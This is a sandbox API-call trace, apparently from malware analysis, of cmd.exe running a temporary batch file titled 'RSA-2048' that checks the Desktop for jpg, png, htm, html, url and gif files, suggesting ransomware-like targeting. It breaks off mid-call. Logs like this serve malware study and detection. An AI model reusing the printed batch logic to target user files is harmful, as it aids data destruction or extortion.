GetProcessHeap () returned 0x4e0000 [0038.870] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.870] GetProcessHeap () returned 0x4e0000 [0038.870] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.870] _tell (_FileHandle=3) returned 351 [0038.870] _close (_FileHandle=3) returned 0 [0038.870] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.870] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.870] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.870] SetFilePointer (in: hFile=0x74, lDistanceToMove=351, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0038.870] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.870] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0038.870] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.871] SetFilePointer (in: hFile=0x74, lDistanceToMove=376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0038.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.jpg goto jpg\r\n\r\n") returned 25 [0038.871] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.871] GetFileType (hFile=0x74) returned 0x1 [0038.871] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.871] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0038.871] GetProcessHeap () returned 0x4e0000 [0038.871] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.871] GetProcessHeap () returned 0x4e0000 [0038.871] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.871] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.871] GetProcessHeap () returned 0x4e0000 [0038.871] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.871] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.871] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.871] GetProcessHeap () returned 0x4e0000 [0038.871] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.871] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.871] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.871] GetProcessHeap () returned 0x4e0000 [0038.871] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.872] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.872] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.872] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.872] GetProcessHeap () returned 0x4e0000 [0038.872] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.872] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.872] GetProcessHeap () returned 0x4e0000 [0038.872] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.872] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.872] GetProcessHeap () returned 0x4e0000 [0038.872] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.872] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.873] _tell (_FileHandle=3) returned 376 [0038.873] _close (_FileHandle=3) returned 0 [0038.873] GetFullPathNameW (in: lpFileName="*.jpg", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", lpFilePart=0x41eea8*="*.jpg") returned 0x2b [0038.873] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.873] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.873] GetLastError () returned 0x2 [0038.873] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.873] GetLastError () returned 0x6 [0038.873] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.874] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.874] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.874] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.874] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.874] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.874] SetConsoleInputExeNameW () returned 0x1 [0038.874] GetConsoleOutputCP () returned 0x1b5 [0038.875] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.875] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.875] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.875] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.875] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.875] SetFilePointer (in: hFile=0x74, lDistanceToMove=376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0038.875] GetProcessHeap () returned 0x4e0000 [0038.875] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.875] GetProcessHeap () returned 0x4e0000 [0038.875] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.875] GetProcessHeap () returned 0x4e0000 [0038.875] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.875] GetProcessHeap () returned 0x4e0000 [0038.875] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.875] GetProcessHeap () returned 0x4e0000 [0038.875] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.875] GetProcessHeap () returned 0x4e0000 [0038.876] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.876] GetProcessHeap () returned 0x4e0000 [0038.876] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.876] GetProcessHeap () returned 0x4e0000 [0038.876] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.876] GetProcessHeap () returned 0x4e0000 [0038.876] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.876] GetProcessHeap () returned 0x4e0000 [0038.876] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.876] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.876] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0038.876] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.876] SetFilePointer (in: hFile=0x74, lDistanceToMove=378, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17a [0038.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.jpg goto jpg\r\n\r\n") returned 2 [0038.876] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.876] GetFileType (hFile=0x74) returned 0x1 [0038.876] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.876] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a [0038.877] GetProcessHeap () returned 0x4e0000 [0038.877] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.877] GetProcessHeap () returned 0x4e0000 [0038.877] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.877] _tell (_FileHandle=3) returned 378 [0038.877] _close (_FileHandle=3) returned 0 [0038.877] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.877] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.877] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.877] SetFilePointer (in: hFile=0x74, lDistanceToMove=378, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17a [0038.877] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.877] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a [0038.877] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.878] SetFilePointer (in: hFile=0x74, lDistanceToMove=403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0038.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.png goto png\r\n\r\n") returned 25 [0038.878] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.878] GetFileType (hFile=0x74) returned 0x1 [0038.878] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.878] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0038.878] GetProcessHeap () returned 0x4e0000 [0038.878] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.878] GetProcessHeap () returned 0x4e0000 [0038.878] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.878] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.878] GetProcessHeap () returned 0x4e0000 [0038.878] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.878] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.878] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.878] GetProcessHeap () returned 0x4e0000 [0038.878] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.878] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.878] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.878] GetProcessHeap () returned 0x4e0000 [0038.878] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.879] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.879] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.879] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.879] GetProcessHeap () returned 0x4e0000 [0038.879] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.879] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.879] GetProcessHeap () returned 0x4e0000 [0038.879] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.879] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.879] GetProcessHeap () returned 0x4e0000 [0038.879] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.879] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.880] _tell (_FileHandle=3) returned 403 [0038.880] _close (_FileHandle=3) returned 0 [0038.880] GetFullPathNameW (in: lpFileName="*.png", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", lpFilePart=0x41eea8*="*.png") returned 0x2b [0038.880] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.880] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0x4f4b58 [0038.880] FindClose (in: hFindFile=0x4f4b58 | out: hFindFile=0x4f4b58) returned 1 [0038.880] GetConsoleTitleW (in: lpConsoleTitle=0x41f098, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0038.881] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0038.881] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x12) returned 0x4f5940 [0038.882] GetProcessHeap () returned 0x4e0000 [0038.882] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5940) returned 0x12 [0038.882] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0038.882] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ede0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.882] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.882] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.882] SetFilePointer (in: hFile=0x74, lDistanceToMove=403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0038.882] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.882] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0038.882] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.882] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0038.882] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.882] GetFileType (hFile=0x74) returned 0x1 [0038.882] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0038.882] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.882] SetFilePointer (in: hFile=0x74, lDistanceToMove=405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x195 [0038.882] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nng") returned 2 [0038.883] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.883] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x195 [0038.883] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.883] GetFileType (hFile=0x74) returned 0x1 [0038.883] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x195 [0038.883] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.883] SetFilePointer (in: hFile=0x74, lDistanceToMove=430, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae [0038.883] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.htm goto htm\r\ns\r\n") returned 25 [0038.883] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.883] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae [0038.883] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.883] GetFileType (hFile=0x74) returned 0x1 [0038.883] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae [0038.883] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.883] SetFilePointer (in: hFile=0x74, lDistanceToMove=432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b0 [0038.883] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.htm goto htm\r\n") returned 2 [0038.883] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.884] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b0 [0038.884] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.884] GetFileType (hFile=0x74) returned 0x1 [0038.884] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b0 [0038.884] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.884] SetFilePointer (in: hFile=0x74, lDistanceToMove=459, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb [0038.884] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.html goto html\r\n\n") returned 27 [0038.884] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.884] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb [0038.885] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.885] GetFileType (hFile=0x74) returned 0x1 [0038.885] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb [0038.885] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.885] SetFilePointer (in: hFile=0x74, lDistanceToMove=461, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd [0038.885] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.html goto html\r\n") returned 2 [0038.885] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.885] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd [0038.885] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.885] GetFileType (hFile=0x74) returned 0x1 [0038.885] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd [0038.885] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.885] SetFilePointer (in: hFile=0x74, lDistanceToMove=486, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6 [0038.885] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.url goto url\r\n\r\n") returned 25 [0038.885] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.885] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6 [0038.886] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.886] GetFileType (hFile=0x74) returned 0x1 [0038.886] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6 [0038.886] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.886] SetFilePointer (in: hFile=0x74, lDistanceToMove=511, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ff [0038.886] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.gif goto gif\r\n") returned 25 [0038.886] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.886] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ff [0038.886] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.886] GetFileType (hFile=0x74) returned 0x1 [0038.886] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ff [0038.886] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.886] SetFilePointer (in: hFile=0x74, lDistanceToMove=540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21c [0038.886] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.gif goto Ran\r\nq\r\n") returned 29 [0038.886] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.886] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c [0038.886] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.886] GetFileType (hFile=0x74) returned 0x1 [0038.887] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c [0038.887] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.887] SetFilePointer (in: hFile=0x74, lDistanceToMove=569, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x239 [0038.887] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | 